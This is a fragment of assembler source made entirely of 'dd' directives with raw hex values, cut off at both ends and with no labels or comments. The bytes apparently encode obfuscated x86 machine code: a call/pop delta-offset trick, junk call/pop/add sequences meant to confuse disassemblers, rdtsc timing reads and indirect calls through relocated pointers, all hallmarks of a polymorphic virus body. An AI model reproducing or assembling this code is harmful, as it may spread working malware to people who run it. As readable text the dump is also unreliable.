114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 0F238BBC0h, 9D8B65A9h, 61F32B9h, 137DBD83h, 0F03061Fh dd 3DB85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 6DB1998Ch, 81660153h, 836394C3h dd 22B255BDh, 840F0006h, 3A8h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h dd 6DC35343h, 2D9D8BE7h, 0BB061F0Eh, 42A19652h, 0B255B5FFh dd 95890622h, 61F06A9h, 11E9h, 8E113600h, 7E618912h, 0DC358639h dd 1330D574h, 95FFD8DDh, 61F1BC9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 1CC35747h, 0B58921A3h, 61F08BDh dd 236DBD8Bh, 0B58B061Fh, 622B249h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0DCC35747h, 8E85AB8Bh, 3160487Eh dd 1F0A59BDh, 9D8B6106h, 61F0251h, 106C7h, 6A0001h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 1F0093C3h, 96EADE56h, 29BB74DAh, 1F2B019Dh, 6E85006h dd 2F000000h, 7CA7DA7Bh, 605250D3h, 60310F61h, 5F585A61h dd 80243489h, 0B5FFC9DBh, 622B255h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 2FC35141h, 12E9h, 0BDD87600h dd 0EEB39153h, 4E718327h, 0EBDD8CDBh, 0FFA62A4Ch, 1F162195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0E5CF80BEh, 0B249B58Bh, 6A0622h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0BD8B80C3h, 61F1AE5h, 2FF1858Bh, 9D29061Fh, 61F0F95h dd 0C48689h, 85290000h, 61F2DD1h, 0B5D958Bh, 0CFB3061Fh dd 5604C283h, 295FD88Bh, 1F15018Dh, 20508906h, 2F41BD89h dd 858D061Fh, 622C797h, 199D9D89h, 8689061Fh, 0B8h, 11F58589h dd 6A061Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0A2C35545h, 31C5B557h, 55B5FFB0h, 890622B2h, 1F06C595h dd 5595FF06h, 6A061F2Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 2A76C357h, 1B919D8Bh dd 6096061Fh, 0AF91F6B8h, 96506150h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 4DC35646h, 0F607A657h, 8A5E2190h dd 5E40BBDAh, 0B5FF5BA2h, 622B255h, 0D6E8DB81h, 95FF2055h dd 61F0E1Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 9EC35242h, 6656168Ch, 8F70F781h, 2C0DBD83h, 0F00061Fh dd 3984h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 84758F28h, 6660964Ah, 6660C68Bh dd 6161C38Bh, 0BA666050h, 9661811Fh, 23B9B589h, 0B5FF061Fh dd 622B255h, 5C59D8Bh, 95FF061Fh, 61F1349h, 14799D8Bh dd 0B5FF061Fh, 622B255h, 8A0Fh, 95FF0000h, 61F1075h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 94C35343h, 9BD83ECh dd 2061F00h, 53840Fh, 8A510000h, 858B5FFCh, 61F1751h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 9C35141h, 0E3817383h dd 6BF7ECA2h, 5899D8Bh, 0C0BB061Fh, 0C65A16B6h, 12E90000h dd 6E000000h, 221DBF5Bh, 0DE44CA10h, 0A0627C48h, 8070DB12h dd 9185C765h, 61F12h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0E4DDC357h, 0FFF356E9h dd 0BDB589FFh, 8B061F24h, 459D8BC1h, 8D061F2Ch, 1F19BD85h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 938169C1h, 5ABECB92h, 0B1858B60h, 89061F2Ah dd 1F0B9D95h, 850F6106h, 16h, 11E9h, 0E762B00h, 1C55AB7Bh dd 8A5A4D42h, 701E336Fh, 6090770Dh, 8E9h, 5CDB7E00h, 0BF401B70h dd 0EE9A8h, 0D3070000h, 29DFB3B0h, 0CE34986Fh, 9A807FD7h dd 8B905061h, 1F08DDBDh, 6A006A06h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0B530C7B3h dd 0B6B160A8h, 0DF816663h, 858D0AE2h, 6238D76h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1AC35646h, 83F987F2h dd 8B6605C0h, 0BE9D8h, 0DF420000h, 0F6049BEEh, 0D509E067h dd 85B79073h, 90FE8B50h, 78B6C781h, 6A0742h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 1C35646h, 17A91476h dd 5DB70FFAh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0CB1376C3h, 95FFA279h, 61F0161h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 84C35343h dd 0ABA67370h, 6D9D8B96h, 8D061F00h, 22B1F28Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 60B16EF3h, 49F68166h, 9D8B5731h, 61F2005h, 0D1FF6159h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A8C35646h dd 84C22737h, 0ABC5A7A9h, 0EF5BD83h, 0F01061Fh, 8585h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 5AAE556Dh, 26AC1B7h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 78C35545h, 0B470EF9Ah, 0D42C7131h dd 0D88B6650h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0F535C355h, 0FD754E03h dd 214ED707h, 7A58D89h, 95FF061Fh, 61F2F55h, 17299531h dd 80E9061Fh, 0E800000Dh, 0 dd 80ED815Dh, 8906238Dh, 1F028D95h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 5FC0D932h dd 1A25C20Eh, 0B5BD33DBh, 8D061F14h, 228EE485h, 68D0F06h dd 89000000h, 1F1CF5BDh, 52509006h, 52505250h, 585A310Fh dd 5F56310Fh, 310F585Ah, 585AF98Bh, 0BCBF6650h, 6A9094h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 59034EC3h, 904CB9E5h, 64AAB2A7h, 35FFh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0AEB742C3h, 0CC3AB0E4h, 0ECB7EE15h, 18A0Fh, 64F50000h dd 2589h, 85FF0000h, 61F1029h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 7EC35343h, 0D8B70FA3h, 6880F57h dd 89000000h, 1F32C59Dh, 0F3815F06h, 3DB075CBh, 6AFF6Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 1EAFBC3h, 0D36EE57Ch, 0DBD0129h, 29061F0Ah, 1F1DBDBDh dd 0B1B5FF06h, 0E9061F1Eh, 13h, 951D987Eh, 3B1B9986h, 0B49E75Eh dd 32865CD1h, 0FF9D3E05h, 1F1CED95h, 0EAE906h, 0BD8B0000h dd 61F2421h, 0E6FC00B0h, 6D9D8970h, 0E4061F12h, 0BD8B5371h dd 61F0B4Dh, 0F613C5Fh, 0C783h, 0BDCF8100h, 0F5AFD24h dd 0BD89C8B6h, 61F083Dh, 6BAh, 89C18B00h, 1F15A995h, 4E8C106h dd 0FA19D09h, 0F766061Fh, 5BF850E2h, 0BF0FC82Bh, 53D18BFBh dd 0D1BD8B53h, 5B061F05h, 18E95Fh, 13E90000h, 85000000h dd 714D8363h, 8821D290h, 0FC9F4F61h, 0C622435Ah, 858B3A30h dd 61F2BA9h, 83FA8B66h, 8B6607C0h, 0C083FBh, 3BD88B66h dd 11830FD0h, 89000000h, 1F2AD595h, 46E906h, 85290000h dd 61F05EDh, 0DD58D8Bh, 0BD8B061Fh, 61F05B5h, 0F01E183h dd 2B84h, 8B666000h, 6830FF8h, 0F000000h, 80h, 0A5836100h dd 61F0DD5h, 63BB66FEh, 0A995894Dh, 66061F2Bh, 0E9FE7EBFh dd 0 dd 2E0B58Dh, 6A0623h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 2F0003C3h, 49997470h, 2BF4B485h dd 1F239D9Dh, 81006A06h, 2B7218F7h, 4595FF57h, 6A061F1Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0BFA2C355h, 3BB953DAh, 6A000008h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0B8A5C352h, 8BC5B3F6h, 0C78166DFh, 0E183AFAFh, 0ED9509FCh dd 0FC061F20h, 2B01BD8Bh, 0C02B061Fh, 6AD22Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 8E44FAC3h, 8B66F88Bh, 0C233ADD9h, 0D003E8D1h, 7504E983h dd 56006AF4h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 4183B7CDh, 8246A57Ch, 0C18501C6h, 6A061F00h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0F5FC350h, 80h, 880D00h, 0B5290000h, 61F1DCDh dd 0B5D958Bh, 6660061Fh, 8A44C281h, 0EE9h, 0FAEB4300h dd 2D3D8CBBh, 6E854B6Eh, 61BA3DB3h, 20C58D8Bh, 6A061Fh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 64287BC3h, 0E8A445C8h, 12h, 95145223h, 180B0A37h, 0CC87BEEEh dd 0C41E5F50h, 9D89631Ch, 61F06CDh, 9D89515Bh, 61F1BDDh dd 0C28B505Bh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh dd 1F2B7D9Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 913EB178h, 0EB942670h, 9D896925h dd 61F0FFDh, 78DBD83h, 0F00061Fh, 9D84h, 0E1BD8B00h, 0B8061F1Ch dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0FEC35545h dd 0D08AB59Ah, 0B08D8DF8h, 6A061F4Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 5698C357h dd 0F2F7B751h, 0C23A0662h, 12E9F98Bh, 27000000h, 358E4A18h dd 89699954h, 6F91572Eh, 0FEDA4090h, 6AE1FFB2h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0BFCAC353h, 66718B72h, 0DC3FF262h, 0E865D381h, 0BD83029Bh dd 61F137Dh, 77840F00h, 66000004h, 0BD83DE8Bh, 61F137Dh dd 82840F01h, 6A000004h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 382DC350h, 0BD833DFCh dd 61F137Dh, 20860F03h, 89000004h, 1F08F595h, 0B9B76006h dd 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 29F5C353h, 8B665485h, 4E180FEh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C4C35646h dd 11840F51h, 0E9000000h, 0Ch, 9356CA8Ah, 235FCBF9h, 83D1E884h dd 3DBD8B5Fh, 0A061F0Ah, 30840FC9h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 7669C351h, 8B59132Ch, 1F0DC185h, 0CE906h, 0D64C0000h dd 1A0EA74Ch, 6E6BADF6h, 853358F9h, 61F2EC9h, 6810Fh, 8D890000h dd 61F0035h, 5C8CBB50h, 4894937h, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0BB66B5A2h dd 14E8D4C4h, 1A000000h, 3495DB3Dh, 2D523235h, 63E9B15Dh dd 778AB247h, 5F92777Eh, 0BF66006Ah, 0BF0F95B5h, 0D72B68FEh dd 8A0FF7A4h, 2, 4815B57h, 7A2CD424h, 50006A08h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 800B92D3h, 76532CB6h, 2DE195FFh, 6A061Fh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 66D145C3h dd 0EC72F781h, 0B2558589h, 0D3810622h, 4217834Eh, 21DE9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0F73B12C0h, 0F4845F16h, 69BD8BCCh, 8B061F31h dd 22B24D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 2B484348h, 0C72412h, 18h, 24E1B589h dd 0B58B061Fh, 622B251h, 8BDAB70Fh, 1F13A185h, 52EF8106h dd 896FB7F4h, 699D8B06h, 8B061F1Bh, 1F0DC185h, 8B60F806h dd 1F0A8D85h, 35BD2906h, 61061F30h, 6A044689h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 3687C352h, 0DE9DAh, 0EFDD0000h, 2FC9D0BDh, 325F5423h dd 96A830C4h, 61606056h, 0A3AEBE66h, 8B505F61h, 6A96DAh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 605190C3h, 9D0B5B61h, 61F00EDh, 0FF58D01h, 0B5FF061Fh dd 622B24Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 77C35343h, 0AFD77ED7h, 0E883941Eh, 4, 1F03FFh dd 5333BF53h, 505B57FAh, 168F0Fh, 11E90000h, 4C000000h dd 583094F5h, 0E9A2174h, 103F1697h, 0E6F87481h, 424448Bh dd 0BF66008Bh, 44895406h, 840F0424h, 19h, 14E9h, 0D88C0800h dd 24554303h, 9B14984Fh, 431F11Ah, 2DC31C24h, 6A58E4h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 9D8B1AC3h, 61F2B31h, 8E8h, 2590600h, 0F97B2401h, 5F5B51A3h dd 0B255858Dh, 6A0622h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 38096DC3h, 0DA368798h, 0CE95014h dd 36000000h, 606440BAh, 0BA63065Dh, 89EE13EBh, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 80A19BC3h, 95FFA0F3h, 61F2DE1h, 1F198589h, 8B61061Fh dd 1F310D9Dh, 7D85C706h, 3061F13h, 31000000h, 1F1709B5h dd 55BD8306h, 622B2h, 65840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 52EEE8C3h dd 5FFE8B66h, 59E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0C00A6A83h, 0F5BFC366h dd 6E95105h, 0A6000000h, 4C2C0919h, 8E95FB5h, 9E000000h dd 7372B7E6h, 50D14C28h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 0C781C08Bh, 7DF9CE7Dh, 0BD838DB3h dd 61F137Dh, 0D5850F03h, 6A000003h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0AD67C356h dd 558D8B60h, 0E9061F0Ch, 0Ah, 0C225BADDh, 0DC4FA80Ah dd 83615CD6h, 22B255BDh, 840F0006h, 394h, 0CD9BD89h, 0B5FF061Fh dd 622B255h, 2F41B589h, 95FF061Fh, 61F1BC9h, 8B3FCB80h dd 22B249B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 8D893CAFh, 61F2351h, 2E859D8Bh, 6C7061Fh dd 10001h, 0ECD0DF81h, 6650644Ch, 3489DF8Bh, 28D0F24h dd 0B3000000h, 55B5FFF0h, 6A0622B2h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0A6ABC357h dd 0D8ECFB13h, 89FFDAE3h, 1F2A51B5h, 2195FF06h, 0F061F16h dd 83h, 49B58B00h, 0E90622B2h, 10h, 2EA405A0h, 8832DB04h dd 4A5F5C58h, 926A5B5Bh, 8BB8E780h, 1F2FF185h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 199D89FFh, 89061F1Dh, 0C486h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0A7538BC4h dd 0BD037DDFh, 61F0D45h, 0B5D958Bh, 6A061Fh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E3D967C3h dd 669743A5h, 835D3FBBh, 958904C2h, 61F1F35h, 66205089h dd 8DDB4BBFh, 22C79785h, 0B8868906h, 0E9000000h, 12h, 0B61883C0h dd 0CF15AFB4h, 0D8464BB1h, 703B25EDh, 870FCE20h, 6, 9A59D03h dd 6A061Fh, 14E9h, 824B5D00h, 89558659h, 77CB5102h, 9182D3D9h dd 0D55C2EECh, 719D8928h, 0FF061F08h, 22B255B5h, 66F7B306h dd 5FDC781h, 2F5595FFh, 8B60061Fh, 1F18B595h, 61C18B06h dd 1A800F50h, 0E8000000h, 5, 4E63BA2Bh, 9E895h, 0A1220000h dd 0B10F3BCAh, 5B412E8Bh, 2434895Bh, 0B255B5FFh, 6A0622h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 4B64B9C3h, 31CDE04Bh, 661A9188h, 37B2DB81h, 0E1D95FFh dd 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0EA5CD5C3h, 0C343F15Ch, 0F60474Ah, 1880h dd 13E900h, 0D7600000h, 490F63B1h, 7674E763h, 0A8B9F941h dd 0AD554254h, 59F85608h dd 0DBD8361h, 61F2Ch, 2A840Fh, 50960000h, 6741BF66h, 56006A96h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 74B007Fh, 6E34BB66h, 0B255B5FFh, 95FF0622h, 61F1349h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 81C35141h dd 0FE823DEh, 1B000000h, 0CE02F412h, 3374D2D5h, 4B64B98Dh dd 0F380E04Bh, 0B5FF5BC7h, 622B255h, 95FFD98Bh, 61F1075h dd 1B0D8589h, 0BD83061Fh, 61F0009h, 66840F02h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0B7D2C353h, 9AFC5F3Eh, 8B6B0B5Bh, 51858BFEh dd 0E8061F17h, 0Dh, 38B64462h, 2A0110BFh, 0FDC48519h, 0F9858980h dd 5B061F16h, 13E9h, 1A749B00h, 5C5793B4h, 0FF4D796Ch dd 1A867437h, 0B4E3F2FEh, 8B0000C6h, 1F3021BDh, 9185C706h dd 61F12h, 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 7397C351h, 9E9A5BFh, 0CD000000h dd 7612DD7Dh, 0D7466067h, 0FFF393E9h, 0AD9589FFh, 8B061F1Eh dd 25BD8BC1h, 8D061F08h, 1F19BD85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 7A3ACEE1h dd 0A10FAB65h, 8950436Dh, 81662404h, 6AFAABF7h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 3DF8DB1h, 8D89C238h, 61F1B2Dh, 0BD89006Ah, 61F07E1h dd 9D5C858Dh, 6A0623h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0B0E79FC3h, 5B97F947h, 0BD8BC256h dd 61F15ADh, 5C083FCh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 48C35141h, 0E830FCFDh, 10h, 0D45839Bh dd 3B824DFAh, 0C5056387h, 918EAE41h, 1C319589h, 815B061Fh dd 86699DF3h, 12E8900Dh, 0B8000000h, 2D0D02Eh, 56A97512h dd 0F34A67F0h, 3CD26DB6h, 48E0FC5h, 66000000h, 5F7CDEBBh dd 0FE8B6650h, 50006A90h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0F7AC843h, 6AD9B7h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 79C35545h, 6AF837A1h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 6B708C20h, 89F6F2C3h, 1F05DD8Dh, 6195FF06h dd 6A061F01h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0A6E8C353h, 8D0FCDC2h, 6, 0C52F781h dd 8D8D13D1h, 622B1F2h, 0FFDA8B66h, 50006AD1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 8C34A6B2h dd 45C1BB66h, 0EF5BD83h, 0F01061Fh, 8785h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 25DF5F57h, 614A0D15h, 60026AF9h, 28B0Fh, 61600000h dd 0E29858Bh, 8B61061Fh, 1F2A85BDh, 10E89006h, 0A7000000h dd 39391B67h, 0F3F9ABBFh, 528C9AAFh, 0BB33A7F7h, 7CF79412h dd 0BF66505Bh, 6A90C49Ch, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0F99C356h, 95FFFAB7h dd 61F2F55h, 679BBF66h, 0E0EE9h, 0E800h, 815D0000h, 239D66EDh dd 12E906h, 26410000h, 0F75F3FEBh, 0AEA1A8Ah, 63DD9440h dd 8AE67B9Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 43C35040h, 8E7539DFh, 460114EEh, 0BF5051A6h, 7BBFE634h dd 858D5F5Fh, 6228EE4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 9FC35545h, 0BABDA9CAh, 8B202785h, 1F1AF19Dh dd 6650F506h, 505FFB8Bh, 2810Fh, 32B70000h, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0F616C350h, 35FF6411h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0A4C35747h dd 0EDBE148Dh, 896436FBh, 25h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 96A28AAFh dd 5B4EE381h, 85FF27B8h, 61F1029h, 0FF6AF98Bh, 12E9h, 0D8829800h dd 0EECB6229h, 5806F0CFh, 2B6AEAFAh, 0FF1C25F4h, 1F1ECDB5h dd 0FFDA8B06h, 1F1CED95h, 162E906h, 0CE90000h, 9E000000h dd 16E28D32h, 5167D5Ch, 0B03F3B1Ah, 14E900h, 9A040000h dd 6C7455D3h, 0E27F3F1h, 0A094A59Ah, 9A1E7D94h, 70E6B555h dd 2BBF71E4h, 3C3366EFh, 25830F61h, 81000001h, 6F785DD3h dd 0DAB70F22h, 0F9C8B60Fh, 6BAh, 0C9958900h, 29061F06h dd 1F2E999Dh, 8BC18B06h, 1F0F699Dh, 4E8C106h, 38D0Fh, 8B660000h dd 0E2F766FEh, 1D8C0Fh, 8B600000h, 1F0D858Dh, 10E906h dd 42650000h, 2E42EFFCh, 96952D5Ah, 57558C73h, 2B61CEBEh dd 5E8C8h, 6CB70000h, 1584A4Ah, 1F18F185h, 0D18B5F06h dd 0DE9h, 981B2800h, 0B52CC010h, 0A1E4250Ch, 0CE9A134h dd 8B000000h, 1F14A59Dh, 0D59D8906h, 8B061F08h, 1F209185h dd 0EE906h, 660D0000h, 36C0BAB6h, 539F8C5Dh, 41937E7Bh dd 8107C083h, 8198EE3h, 259D8B7Ah, 83061F23h, 1FBB00C0h dd 3B3E2569h, 11830FD0h, 29000000h, 1F1895B5h, 52E906h dd 0BD8B0000h, 61F1909h, 1D3D8D8Bh, 0B589061Fh, 61F1501h dd 0F01E183h, 3784h, 0A8E38100h, 83570EE8h, 1F1D3DA5h dd 9D09FE06h, 61F2019h, 0EE8h, 2D5FF500h, 56ACCA08h, 3B73F31Dh dd 0F71F636h, 895BF8BFh, 1F209195h, 0E9D98B06h, 0 dd 0CDDB58Dh, 6A0623h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0E4FEC3h, 0F98BE806h, 38F0Fh, 0E3800000h dd 6A006AF1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0F6A9C356h, 7059532h, 1D4595FFh dd 0BD03061Fh, 61F1B3Dh, 73EB9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0E64707EDh dd 8309A45Eh, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 36CC6DC3h, 959D01FCh, 2B061F15h dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 23013B74h, 1025906h, 0CB816624h, 0BE802E4h dd 77000000h, 0F4509BDAh, 0A818F5C8h, 8166B84Dh, 5F20C9DFh dd 6AD22Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 21866DC3h, 8DA85874h, 0DE950h, 0E6200000h dd 0F5E8C891h, 0CF417438h, 5B09F82Dh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 11E9h, 0B6607700h, 0A4ED51CCh, 0EDB39E16h dd 958D37DEh, 0A6BF4076h, 812E28ECh, 0DB703DE3h, 880D3Ch dd 8B660000h, 26F381DAh, 8B421BC3h, 1F0B5D95h, 41B50906h dd 8B061F15h, 1F20C58Dh, 0DA8B6606h, 7472CB81h, 8B50719Ah dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E6C35040h, 2280375Bh dd 0CE9h, 373A1D00h, 0E22074C9h, 2F6DD56Bh, 0EF816647h dd 7E98AC1h, 38000000h, 909DCABBh, 0BD83A38Eh, 61F078Dh dd 0A4840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 732C355h, 0E928EF02h dd 9, 85454BAEh, 4B80D6B8h, 0B887h, 0FBB0000h, 8D37EB2Fh dd 1F4DB08Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 5DBD8B60h, 0FF061F13h, 56006AE1h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 75F730B9h, 55EDC8FCh, 7DBB6656h, 10E85BDBh, 8C000000h dd 8B5298FDh, 6B7DBB91h, 302A4E9Eh, 0FB7659Eh, 835FD9BFh dd 1F137DBDh, 840F0006h, 485h, 8E96060h, 0D7000000h, 0CE4CCFFAh dd 603E56BFh, 83616161h, 1F137DBDh, 840F0106h, 480h, 23B58D89h dd 8B66061Fh, 7DBD83F8h, 3061F13h, 434860Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 678062C3h, 0F9F38166h, 0EE8B4h, 2FCB0000h, 0BAF8E855h dd 64B21132h, 788360CAh, 5FFB8B66h, 0AE9h, 86703100h, 0CB2ACB0Eh dd 60D015B6h, 9D8B7FB7h, 61F0025h, 80D98C66h, 6A04E1h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 390ADDC3h, 0E52BE12Ah, 0AB1B363h, 50840FC9h, 0E8000001h dd 12h, 0FF97BD34h, 4EE29511h, 1881CC86h, 11D0D594h, 0FB8B1540h dd 0C1858B5Fh, 31061F0Dh, 1F08F98Dh, 0C9853306h, 89061F2Eh dd 1F0585BDh, 36BF5006h, 8966823Eh, 6A2404h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C110FFC3h dd 0EC04399Ch, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0ACF2F1C3h, 89EC499Eh, 1F112985h dd 0A5BD8B06h, 0E8061F0Ah, 4, 1F03FFh, 50DF8B66h, 3870Fh dd 8B660000h, 24448BDFh, 28B0F04h, 8B000000h, 66008BFBh dd 4489DE8Bh, 8B660424h, 6A58D8h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 